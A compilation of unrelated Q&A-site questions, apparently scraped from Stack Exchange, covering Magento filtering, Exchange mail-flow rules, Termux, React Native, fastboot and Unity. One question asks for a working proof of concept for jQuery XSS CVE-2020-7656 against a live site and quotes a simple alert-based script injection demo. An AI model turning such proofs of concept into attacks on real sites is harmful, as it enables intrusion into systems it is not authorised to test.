magento2.3 – MagePlaza Layered Navigation Not working on Local host but is working On production site?

When I hit a radio box button on the left side like ‘Extract Labs’ nothing happens. It should filter products and show all Extract Labs products. It will load for a second with a loading circle, then nothing happens. Does not filter any products. On Production site it works as expected, on local host and staging site it is not working. Image Below. Using Porto Theme.

enter image description here

Also, When I reload page I get this.

enter image description here

It’s like it breaks the page. I don’t really know how to fix or how to debug it? Any help to even start debugging it would be greatly appreciated.

Thank you!

email – Mail flow rule not working correctly for attachments – Exchange 2019

We have an on-premises Exchange server 2019, where we want to create a mail flow rule which BCC’s any emails sent with attachments to “attachments@domain.com”

With the rule enabled we were getting many false positives, e.g. emails with clipboard / screenshots being sent to users that would also trigger the attachment rule. So I came up with the solution to add an exception when the email contains a jpg, jpeg etc.

Now this works just fine but we want to take into consideration all scenario’s where we want to prevent internal users from taking multiple screenshots of company data and sending it via email. so we’d want to implement a limit of at least 5mb, But there are no exception filter that says “size is less than or equal to” it only has “size greater than or equal to”
Filter Rule

If I create another rule for email size limit, we will create duplications where an email might be sent to the attachments folder twice?

Is there any solution to our issue?

Mail Flow Rule

xss – CVE-2020-7656 needed help for a working POC

I came across a site that was running on Jquery@1.7.1 and also found that it was vulnerable to multiple issues and one was XSS.

I reported this issue and the organization would like to have a working POC but I don’t have an idea how create one. Can anyone help me in this?

More Information:

https://snyk.io/vuln/SNYK-JS-JQUERY-569619 – This site contains the POC here

index.html:

<head>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
    <div id="mydiv"></div>
    <script>
        $("#mydiv").load('inject.html #himom');
    </script>
</body>
</html>```


**inject.html:**

<div id="himom"><script>alert('Arbitrary Code Execution');</script ></div>

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SEO article 1200 – 1500 words (English, 1 – 2 working days) for $20

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command line – Termux (Terminal) tsu is adding “(unreachable)” to my current working path

When I run tsu (which is Termux’s version of su), my current working directory gets prefixed with “(unreachable)”, as you can see from the transcript of my session.

(u0_a116 …/~)$ tsu
(root …/home)# pwd
(unreachable)/data/data/com.termux/files/home
(root …/home)#

I did some digging and found what seems to me is the culprit.
tsu is a script that sets up an environment for the root user and then runs su to give you root privilege with the new environment. This is what the command that tsu is running looks like after opening all the variables.
/sbin/su -c PATH=/sbin/.magisk/busybox env -i PATH=/data/data/com.termux/files/usr/bin:/data /data/com.termux/files/usr/bin/applets:/system/bin:/system/xbin:/sbin:/sbin/bin ANDROID_DATA=/data TMPDIR=/data/data/com.termux/files/home/.suroot/.tmp PREFIX=/ data/data/com.termux/files/usr TERM=xterm-256color LD_PRELOAD=/data/data/com.ter mux/files/usr/lib/libtermux-exec.so ANDROID_ROOT=/system HOME=/data/data/com.ter mux/files/home/.suroot /data/data/com.termux/files/usr/bin/bash

This causes a problem when I try to run a script that is using relative paths. (I’m running a script to setup a full linux distro with proot in Termux).

If I take out the ‘env -i` from the command then I get the current working directory without the prefixed “(unreachable)”. This does not setup the new environment, it leaves the old environment intact as if I would have selected –preserve option.

javascript – React Native, why react-native run-android is not working?

I’m trying to run command react-native run-android but it’s throwing an error. I’m following docs I followed every step but it’s not working, I think it’s not picking the path but it set as shown in doc. Can Anyone tell me what’s wrong?

info Running jetifier to migrate libraries to AndroidX. You can disable it using "--no-jetifier" flag.
(node:12536) Warning: Accessing non-existent property 'padLevels' of module exports inside circular dependency
(Use `node --trace-warnings ...` to show where the warning was created)
Jetifier found 967 file(s) to forward-jetify. Using 4 workers...
info Starting JS server...
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
info Launching emulator...
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
'C:UsersDanger' is not recognized as an internal or external command,
operable program or batch file.
error Failed to launch emulator. Reason: Could not start emulator within 30 seconds..
warn Please launch an emulator manually or connect a device. Otherwise app may fail to launch.
info Installing the app...

FAILURE: Build failed with an exception.

* What went wrong:
Could not initialize class org.codehaus.groovy.runtime.InvokerHelper

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights. 

* Get more help at https://help.gradle.org

BUILD FAILED in 17s

error Failed to install the app. Make sure you have the Android development environment set up: https://reactnative.dev/docs/environment-setup. Run CLI with --verbose flag for more details.
Error: Command failed: gradlew.bat app:installDebug -PreactNativeDevServerPort=8081

that’s the error I’m getting after running react native in android

Fastboot not working with new Teclast P80H

I am developing an in-car product and app. Previously, I had a Teclast P80H tablet with a micro-USB connector and running Android 7.0. I was able to enter fastboot mode and from Windows cmd window, issue the Android SDK command “fastboot oem off-mode-charge 0”. This successfully reconfigured that older tablet so that, if the tablet was fully shut down and turned off, connecting 5V to the micro-USB jack would cause the tablet to boot up and run. This was great for my in-car product and app.

Now that old tablet is no longer available, so I’m trying a newer version of the Teclast P80H. This one has a USB-C connector and runs Android 10.0. It takes a slightly different method to get into fastboot mode, but I think I’ve figured it out. However, when I issue the command “fastboot oem off-mode-charge 0” I get a message “FAILED (remote: ‘unknown cmd.’)”.

In order to make sure I really do have the tablet in fastboot mode, I’ve tried a couple things. First, issuing “fastboot reboot” does indeed reboot the new tablet like it did with the old tablet. Even better, the command “fastboot oem get_identifier_token” seems to work, telling me “(bootloader) Identifier token:” and on the next line “(bootloader) ******************”. Well, I’ve omitted the actual identifier for security purposes, of course, I guess. But this seems to prove to me that I have the tablet in the right mode to receive the “fastboot oem off-mode-charge 0” command.

But it seems like maybe this version of the tablet’s oem commands doesn’t include “off-mode-charge”. Perhaps the name or syntax has changed. But I don’t know how to find out. While “fastboot help” works, it seems that ‘fastboot oem help” doesn’t. I don’t know how to figure out how to configure this new tablet.

Again, my objective is for the tablet to boot up from full shutdown, whenever 5V is applied through the USB-C connector. BTW, I’m using the USB-C to USB-A cable that came with the tablet, plugging the USB-A end into my Windows 10 computer.

I did re-install the latest Android Studio. I also updated the SDK to Android 10. (It was Android 9.) However, the fastboot.exe program remains with an 11/14/2019 file date, perhaps the original date I installed it.

Any suggestions? Thanks!

unity – Scene reset function not working

I am entirely new to programming. Recently just watched the Youtube tutorial https://www.youtube.com/watch?v=OR0e-1UBEOU&t=4826 and follow the way the author wrote the code until (1:22:24). I’m not sure why the scene reset function for trasnform.position.y > 10 not working for me. The compiler does not detect any error and game run as normal but the scene does not reset when the bird position on y axis more than 10. I’m using another bird object anwyay since i can’t find exactly the same bird picture as author did. Also is there a way to check what the value store in each variable? Example I want to check what the value stored in “transform.position.y” to find out why it is not working.

using UnityEngine;

using UnityEngine.SceneManagement;

public class GreenBird : MonoBehaviour
{
Vector3 _initialPosition;

private void Awake()
{

    _initialPosition = transform.position;
}

void update()
{
    if (transform.position.y > 10)
    {
        string currentSceneName = SceneManager.GetActiveScene().name;
        SceneManager.LoadScene(currentSceneName);
    }
}

private void OnMouseDown()
{
    GetComponent<SpriteRenderer>().color = Color.red;


}



private void OnMouseUp()
{
    GetComponent<SpriteRenderer>().color = Color.white;
    Vector2 directionToInitialPosition = _initialPosition - transform.position;
    GetComponent<Rigidbody2D>().AddForce(directionToInitialPosition * 100);


}

private void OnMouseDrag()
{
    Vector3 newPosition = Camera.main.ScreenToWorldPoint(Input.mousePosition);
    transform.position = new Vector3(newPosition.x, newPosition.y);
}

}